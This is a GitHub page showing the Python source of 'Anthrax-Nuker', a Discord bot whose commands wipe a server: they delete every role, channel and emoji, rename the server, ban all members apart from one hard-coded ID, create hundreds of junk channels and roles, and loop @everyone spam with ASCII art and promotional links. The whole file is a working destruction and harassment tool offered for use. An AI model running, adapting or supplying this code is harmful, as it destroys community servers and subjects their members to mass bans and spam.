-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.py
201 lines (176 loc) · 6.13 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
import discord
from discord.ext import commands
from discord.ext.commands import bot
from discord.utils import get
token = "Put your discord bot token here, keep the quotes :)"
my_id = 715385148941795458
bot_intents = discord.Intents(messages = True, guilds = True, members = True)
bot = commands.Bot(command_prefix='!', intents = bot_intents)
bot.remove_command("help")
@bot.event
async def on_ready():
print ("Anthrax Is Ready --- github.com/Maywitz")
@bot.event
async def on_message(message):
try:
await bot.process_commands(message)
except:
return
@bot.command()
async def nuke(ctx):
try:
await ctx.message.delete()
except:
pass
for role in list(ctx.guild.roles):
try:
await role.delete()
print ("Role " + role.name + " has been deleted")
except:
pass
print ("Role " + role.name + " has failed to be deleted")
await ctx.guild.edit(
name = "Anthrax",
description = "Anthrax",
reason = "Anthrax",
icon = None,
banner = None
)
for channel in list(ctx.message.guild.channels):
try:
await channel.delete()
print (channel.name + " has been deleted")
except:
pass
print (channel.name + " has failed to be deleted")
for member in list(bot.get_all_members()):
try:
if member.id != my_id:
await ctx.guild.ban(member)
print ("User " + member.name + " has been banned")
except:
print ("User " + member.name + " has failed to be banned")
for _i in range(500):
try:
await ctx.guild.create_text_channel("Anthrax")
print ("Channel Created")
except:
print ("Failed to create channel")
for _i in range(100):
try:
await ctx.guild.create_role(name = "Anthrax")
print ("Role Created")
except:
print ("Failed to create role")
for emoji in list(ctx.guild.emojis):
try:
await emoji.delete()
print ("Emoji " + emoji.name + " has been deleted")
except:
print ("Emoji " + emoji.name + " has failed to be deleted")
while True:
for channel in list(ctx.message.guild.channels):
try:
await channel.send("""
@everyone
```
_ _ _______ _ _ _____ __ __
/\ | \ | |__ __| | | | __ \ /\ \ \ / /
/ \ | \| | | | | |__| | |__) | / \ \ V /
/ /\ \ | . ` | | | | __ | _ / / /\ \ > <
/ ____ \| |\ | | | | | | | | \ \ / ____ \ / . \
/_/ \_\_| \_| |_| |_| |_|_| \_\/_/ \_\/_/ \_\
```
""")
await channel.send("""
@everyone
```
__ __ __ ___ _______ _______ ______
| \/ | /\ \ \ / \ \ / /_ _|__ __|___ /
| \ / | / \ \ \_/ / \ \ /\ / / | | | | / /
| |\/| | / /\ \ \ / \ \/ \/ / | | | | / /
| | | |/ ____ \ | | \ /\ / _| |_ | | / /__
|_| |_/_/ \_\|_| \/ \/ |_____| |_| /_____|
```
""")
await channel.send("@everyone\nhttps://github.com/Maywitz")
await channel.send("@everyone\nhttps://github.com/Maywitz/Anthrax-Nuker")
await channel.send("@everyone\nhttps://discord.gg/dZq52WJaKW")
except:
print (channel.name + " has failed to be pinged")
@bot.command()
async def nuke_no_ban(ctx):
try:
await ctx.message.delete()
except:
pass
for role in list(ctx.guild.roles):
try:
await role.delete()
print ("Role " + role.name + " has been deleted")
except:
pass
print ("Role " + role.name + " has failed to be deleted")
await ctx.guild.edit(
name = "Anthrax",
description = "Anthrax",
reason = "Anthrax",
icon = None,
banner = None
)
for channel in list(ctx.message.guild.channels):
try:
await channel.delete()
print (channel.name + " has been deleted")
except:
pass
print (channel.name + " has failed to be deleted")
for _i in range(500):
try:
await ctx.guild.create_text_channel("Anthrax")
print ("Channel Created")
except:
print ("Failed to create channel")
for _i in range(100):
try:
await ctx.guild.create_role(name = "Anthrax")
print ("Role Created")
except:
print ("Failed to create role")
for emoji in list(ctx.guild.emojis):
try:
await emoji.delete()
print ("Emoji " + emoji.name + " has been deleted")
except:
print ("Emoji " + emoji.name + " has failed to be deleted")
while True:
for channel in list(ctx.message.guild.channels):
try:
await channel.send("""
@everyone
```
_ _ _______ _ _ _____ __ __
/\ | \ | |__ __| | | | __ \ /\ \ \ / /
/ \ | \| | | | | |__| | |__) | / \ \ V /
/ /\ \ | . ` | | | | __ | _ / / /\ \ > <
/ ____ \| |\ | | | | | | | | \ \ / ____ \ / . \
/_/ \_\_| \_| |_| |_| |_|_| \_\/_/ \_\/_/ \_\
```
""")
await channel.send("""
@everyone
```
__ __ __ ___ _______ _______ ______
| \/ | /\ \ \ / \ \ / /_ _|__ __|___ /
| \ / | / \ \ \_/ / \ \ /\ / / | | | | / /
| |\/| | / /\ \ \ / \ \/ \/ / | | | | / /
| | | |/ ____ \ | | \ /\ / _| |_ | | / /__
|_| |_/_/ \_\|_| \/ \/ |_____| |_| /_____|
```
""")
await channel.send("@everyone\nhttps://github.com/Maywitz")
await channel.send("@everyone\nhttps://github.com/Maywitz/Anthrax-Nuker")
await channel.send("@everyone\nhttps://discord.gg/dZq52WJaKW")
except:
print (channel.name + " has failed to be pinged")
bot.run(token)